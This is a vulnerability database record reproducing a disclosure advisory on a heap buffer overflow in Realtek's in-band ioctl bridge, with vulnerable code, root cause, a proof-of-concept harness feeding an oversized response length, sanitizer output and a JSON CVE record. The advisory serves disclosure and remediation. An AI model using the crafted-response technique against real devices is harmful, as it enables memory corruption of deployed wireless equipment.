GCVE-1988-2026-0077
Vulnerability from gna-1988 β Published: 2026-09-07 13:20 β Updated: 2026-09-11 11:54
VLAI
EPSS
VEX
Title
Realtek edimax 52fc10d19 In-Band Ioctl Response Length Confusion Causes Heap Buffer Overflow
Summary
The Realtek in-band ioctl bridge contains a heap-buffer overflow when
processing peer-supplied ioctl response data.
inband_ioctl() receives a response through the Realtek in-band transport
and extracts a 32-bit data_get_len value from that response. For several
wireless "get" operations, this peer-controlled value is subsequently used
directly as the length argument to memcpy().
For SIOCGIWSCAN, the destination is a caller-provided buffer referenced
through local_iwr->u.data.pointer.
Although the caller supplies the destination capacity in
local_iwr->u.data.length, the function overwrites that value with the
peer-controlled data_get_len before validating whether the returned data
fits the destination.
As a result, a malicious or compromised in-band peer capable of supplying
an oversized response length can cause inband_ioctl() to copy more data
than the caller's destination buffer can contain.
The supplied PoC creates an *8-byte caller buffer* and returns a
peer-controlled data_get_len of *64 bytes*. The original inband_ioctl()
implementation consequently performs a *64-byte **memcpy()** into the
8-byte heap allocation*.
AddressSanitizer confirms the resulting heap-buffer overflow.
Vulnerable Code
The response length is extracted from the received in-band data:
memcpy(
&data_get_len,
rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len,
4
);
data_get_len = ntohl(data_get_len);
data_get_ptr =
(char *)(
rx_buf +
INBAND_IOCTLHDR_LEN +
IWREQ_LEN +
ext_len +
4
);
For SIOCGIWSCAN, the implementation subsequently performs:
case SIOCGIWSCAN:
local_iwr = (struct iwreq *)req;
local_iwr->u.data.length = data_get_len;
memcpy(
local_iwr->u.data.pointer,
data_get_ptr,
data_get_len
);
break;
The response controls data_get_len, but no validation ensures that:
data_get_len <= caller_destination_capacity
before the copy.
Root Cause
The caller initially provides both:
u.data.pointer -> destination buffer
u.data.length -> destination capacity
However, inband_ioctl() performs:
local_iwr->u.data.length = data_get_len;
before validating the response.
This destroys the original caller-provided capacity information.
The subsequent copy becomes conceptually equivalent to:
size_t attacker_len = response.data_get_len;
local_iwr->u.data.length = attacker_len;
memcpy(
caller_buffer,
response_data,
attacker_len
);
No reliable information about the actual destination capacity remains
available at the point of the copy.
The implementation also does not sufficiently establish that the received
response itself contains data_get_len bytes following the response-length
field.
Proof of Concept
The validation harness compiles the original source:
#include "../../../package/librtk-inband/src/hapd_api.c"
and stubs only the lower in-band transport functions.
The simulated peer response contains:
static unsigned char rx_buf[6 + 32 + 4 + 128];
int ret = htonl(0);
int attacker_len = htonl(64);
memcpy(rx_buf, &ret, sizeof(ret));
memcpy(
rx_buf + 6 + 32,
&attacker_len,
sizeof(attacker_len)
);
memset(
rx_buf + 6 + 32 + 4,
'A',
64
);
The caller allocates only:
small_destination = malloc(8);
req.u.data.pointer = small_destination;
req.u.data.length = 8;
and invokes the original vulnerable function:
inband_ioctl(SIOCGIWSCAN, &req);
The resulting state is:
Caller destination capacity: 8 bytes
Peer-controlled data_get_len: 64 bytes
memcpy() length: 64 bytes
------------
Overflow beyond destination: 56 bytes
The vulnerable memcpy() is executed by the original inband_ioctl()
implementation.
AddressSanitizer Evidence
AddressSanitizer confirms the out-of-bounds heap write:
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 64
#1 ... inband_ioctl
package/librtk-inband/src/hapd_api.c:403
#2 ... main
src/poc_inband_ioctl_response_overflow.c:80
0x... is located 0 bytes after 8-byte region
allocated by thread T0 here:
#1 ... main
src/poc_inband_ioctl_response_overflow.c:70
The sanitizer evidence therefore directly establishes:
Destination allocation: 8 bytes
Write size: 64 bytes
Overflow: 56 bytes
Vulnerable function: inband_ioctl()
Result: CONFIRMED
Additional Affected Operations
The same response-copy pattern is present in additional wireless get
operations in the affected block, including:
SIOCGIWESSID
SIOCGIWRANGE
SIOCGIWAP
The exact destination differs between operations, but the security issue is
structurally similar: a length originating from the in-band response is
used to control a memory copy without first validating it against the
destination capacity.
These additional operations should be audited and individually
regression-tested as part of remediation.
Security Impact
The demonstrated primitive is an out-of-bounds heap write into a
caller-provided ioctl result buffer.
In the validated case, the response causes *64 bytes to be written into an
8-byte allocation*, corrupting 56 bytes beyond the destination.
Potential consequences include:
- process termination;
- corruption of adjacent heap objects;
- corruption of management or wireless-control process state; and
- potentially more significant memory corruption depending on allocator
layout and target hardening.
The current PoC validates the memory-corruption primitive in the original
inband_ioctl() implementation while stubbing the underlying in-band
transport. It does not independently establish a complete network
exploitation chain or arbitrary code execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Realtek | edimax 52fc10d19 |
Affected:
unknown
|
guessed |
{
"containers": {
"cna": {
"affected": [
{
"product": "edimax 52fc10d19",
"vendor": "Realtek",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Realtek in-band ioctl bridge contains a heap-buffer overflow when\nprocessing peer-supplied ioctl response data.\n\ninband_ioctl() receives a response through the Realtek in-band transport\nand extracts a 32-bit data_get_len value from that response. For several\nwireless \"get\" operations, this peer-controlled value is subsequently used\ndirectly as the length argument to memcpy().\n\nFor SIOCGIWSCAN, the destination is a caller-provided buffer referenced\nthrough local_iwr-\u003eu.data.pointer.\n\nAlthough the caller supplies the destination capacity in\nlocal_iwr-\u003eu.data.length, the function overwrites that value with the\npeer-controlled data_get_len before validating whether the returned data\nfits the destination.\n\nAs a result, a malicious or compromised in-band peer capable of supplying\nan oversized response length can cause inband_ioctl() to copy more data\nthan the caller\u0027s destination buffer can contain.\n\nThe supplied PoC creates an *8-byte caller buffer* and returns a\npeer-controlled data_get_len of *64 bytes*. The original inband_ioctl()\nimplementation consequently performs a *64-byte **memcpy()** into the\n8-byte heap allocation*.\n\nAddressSanitizer confirms the resulting heap-buffer overflow.\nVulnerable Code\n\nThe response length is extracted from the received in-band data:\n\nmemcpy(\n \u0026data_get_len,\n rx_buf + INBAND_IOCTLHDR_LEN + IWREQ_LEN + ext_len,\n 4\n);\n\ndata_get_len = ntohl(data_get_len);\n\ndata_get_ptr =\n (char *)(\n rx_buf +\n INBAND_IOCTLHDR_LEN +\n IWREQ_LEN +\n ext_len +\n 4\n );\n\nFor SIOCGIWSCAN, the implementation subsequently performs:\n\ncase SIOCGIWSCAN:\n local_iwr = (struct iwreq *)req;\n local_iwr-\u003eu.data.length = data_get_len;\n memcpy(\n local_iwr-\u003eu.data.pointer,\n data_get_ptr,\n data_get_len\n );\n break;\n\nThe response controls data_get_len, but no validation ensures that:\n\ndata_get_len \u003c= caller_destination_capacity\n\nbefore the copy.\nRoot Cause\n\nThe caller initially provides both:\n\nu.data.pointer -\u003e destination buffer\nu.data.length -\u003e destination capacity\n\nHowever, inband_ioctl() performs:\n\nlocal_iwr-\u003eu.data.length = data_get_len;\n\nbefore validating the response.\n\nThis destroys the original caller-provided capacity information.\n\nThe subsequent copy becomes conceptually equivalent to:\n\nsize_t attacker_len = response.data_get_len;\n\nlocal_iwr-\u003eu.data.length = attacker_len;\n\nmemcpy(\n caller_buffer,\n response_data,\n attacker_len\n);\n\nNo reliable information about the actual destination capacity remains\navailable at the point of the copy.\n\nThe implementation also does not sufficiently establish that the received\nresponse itself contains data_get_len bytes following the response-length\nfield.\nProof of Concept\n\nThe validation harness compiles the original source:\n\n#include \"../../../package/librtk-inband/src/hapd_api.c\"\n\nand stubs only the lower in-band transport functions.\n\nThe simulated peer response contains:\n\nstatic unsigned char rx_buf[6 + 32 + 4 + 128];\n\nint ret = htonl(0);\nint attacker_len = htonl(64);\n\nmemcpy(rx_buf, \u0026ret, sizeof(ret));\n\nmemcpy(\n rx_buf + 6 + 32,\n \u0026attacker_len,\n sizeof(attacker_len)\n);\n\nmemset(\n rx_buf + 6 + 32 + 4,\n \u0027A\u0027,\n 64\n);\n\nThe caller allocates only:\n\nsmall_destination = malloc(8);\n\nreq.u.data.pointer = small_destination;\nreq.u.data.length = 8;\n\nand invokes the original vulnerable function:\n\ninband_ioctl(SIOCGIWSCAN, \u0026req);\n\nThe resulting state is:\n\nCaller destination capacity: 8 bytes\nPeer-controlled data_get_len: 64 bytes\nmemcpy() length: 64 bytes\n ------------\nOverflow beyond destination: 56 bytes\n\nThe vulnerable memcpy() is executed by the original inband_ioctl()\nimplementation.\nAddressSanitizer Evidence\n\nAddressSanitizer confirms the out-of-bounds heap write:\n\nERROR: AddressSanitizer: heap-buffer-overflow\n\nWRITE of size 64\n\n #1 ... inband_ioctl\n package/librtk-inband/src/hapd_api.c:403\n\n #2 ... main\n src/poc_inband_ioctl_response_overflow.c:80\n\n0x... is located 0 bytes after 8-byte region\n\nallocated by thread T0 here:\n\n #1 ... main\n src/poc_inband_ioctl_response_overflow.c:70\n\nThe sanitizer evidence therefore directly establishes:\n\nDestination allocation: 8 bytes\nWrite size: 64 bytes\nOverflow: 56 bytes\nVulnerable function: inband_ioctl()\nResult: CONFIRMED\n\nAdditional Affected Operations\n\nThe same response-copy pattern is present in additional wireless get\noperations in the affected block, including:\n\nSIOCGIWESSID\nSIOCGIWRANGE\nSIOCGIWAP\n\nThe exact destination differs between operations, but the security issue is\nstructurally similar: a length originating from the in-band response is\nused to control a memory copy without first validating it against the\ndestination capacity.\n\nThese additional operations should be audited and individually\nregression-tested as part of remediation.\nSecurity Impact\n\nThe demonstrated primitive is an out-of-bounds heap write into a\ncaller-provided ioctl result buffer.\n\nIn the validated case, the response causes *64 bytes to be written into an\n8-byte allocation*, corrupting 56 bytes beyond the destination.\n\nPotential consequences include:\n\n - process termination;\n - corruption of adjacent heap objects;\n - corruption of management or wireless-control process state; and\n - potentially more significant memory corruption depending on allocator\n layout and target hardening.\n\nThe current PoC validates the memory-corruption primitive in the original\ninband_ioctl() implementation while stubbing the underlying in-band\ntransport. It does not independently establish a complete network\nexploitation chain or arbitrary code execution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:54:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/105"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Aug/105"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Aug/105"
],
"discovery": "EXTERNAL"
},
"title": "Realtek edimax 52fc10d19 In-Band Ioctl Response Length Confusion Causes Heap Buffer Overflow",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0077",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/105",
"automated": true,
"contentSha256": "6375a8198008bd257684ad6c19612f6087349470992d8318e09829da837862ca",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/105",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-22T12:43:31Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T13:20:21Z",
"dateUpdated": "2026-09-11T11:54:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0077"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦